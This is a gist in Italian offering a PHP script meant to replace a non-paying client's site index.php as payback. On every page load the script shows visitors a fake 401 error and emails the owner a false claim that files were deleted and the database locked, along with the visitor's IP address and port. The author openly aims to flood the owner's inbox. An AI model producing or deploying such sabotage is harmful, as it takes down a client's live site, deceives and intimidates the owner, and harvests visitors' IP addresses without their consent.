Skip to content

Instantly share code, notes, and snippets.

@gubi
Last active August 29, 2015 14:24
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save gubi/bd90811d12d62a420aa0 to your computer and use it in GitHub Desktop.
Save gubi/bd90811d12d62a420aa0 to your computer and use it in GitHub Desktop.
[IT] Quando un cliente non paga...

Mai successo che un cliente "sparisca" e faccia il furbetto non pagandovi? Con questo script, da sostituire al file index.php del sito, ad ogni caricamento di pagina da parte dei suoi utenti verrà mostrato un messaggio di errore e a lui arriverà una mail che lo incentiverà a chiamarvi e a chiedervi di risolvere.

L'incentivo sta nel fatto che si ritroverà la posta intasata di messaggi inviati inconsapevolmente dai suoi stessi utenti...

Quanto è efficace
Se i rapporti non sono pessimi è molto facile che vi chiamino per sapere cosa è successo, diversamente verrà chiamato un altro sviluppatore (che quasi sicuramente verrà sfruttato come hanno fatto con voi).

<?php
$blocked_domain = ""; // The domain of the blocked site
$name = ""; // The site name
$email = "noreply@" . $blocked_domain;
$recipient = ""; // The e-mail address of the bad owner
$mail_body = "Salve.\nQuesto e' un messaggio automatico e Le e' stato inviato a causa di un malfunzionamento del sito " . $blocked_domain . ".\n\nOperazioni non corrette non hanno consentito la prosecuzione del servizio e pertanto e' stato necessario rimuovere diversi files sorgente e bloccare definitivamente l'accesso al database.\n\nSpiacevolmente, non e' stato possibile effettuare un log delle operazioni ne' tenere traccia degli eventi critici.\nLa visualizzazione del sito e' corrotta.\nContattare l'amministratore del sistema per un ripristino manuale.\n\n------------------------------------------------------------------------------------------------------------\n\nlast visit: " . $_SERVER["REMOTE_ADDR"] . "\nport:" . $_SERVER["REMOTE_PORT"] . "\nserv:" . $_SERVER["SERVER_NAME"] . "\n***************\n****\nfailure key (md5): " . md5(date("d-m-Y/H:M:S", time()) . microtime()) . "\n*****************************\n**\n********\n****\n" . date("d-m-Y/H:M:S:", time()) . microtime();
$subject = "ATTENZIONE: Malfunzionamento del sito " . $blocked_domain;
$header = "From: ". $name . " <" . $email . ">\r\n";
ini_set('sendmail_from', 'noreply@aestetiquerenaissance.com');
mail($recipient, $subject, $mail_body, $header);
?>
<html xmlns="http://www.w3.org/1999/xhtml" class="blacklist">
<head>
<link rel="stylesheet" href="coming.css" type="text/css" media="all"/>
<title>401 Authorization Required</title>
</head>
<body>
<div id="blacklistcontainer">
<!-- Error Title -->
<div id="blacklisttitle">
<h1>Authorization Required</h1>
</div>
<div id="blacklistlongContent">
<!-- Short Description -->
<div id="blacklistshortDesc">
<p>This server could not verify that you are authorized to access the document requested. Either you supplied the wrong credentials (e.g., bad password), or your browser doesn't understand how to supply the credentials required.</p>
</div>
<!-- Long Description -->
<div id="blacklistlongDesc">
<p>
This temporary malfunction was caused automatically by the administrator, due to the expiry of the permits needed.
<br />
<br />
Please contact the administrator.
</p>
</div>
</div>
</div>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment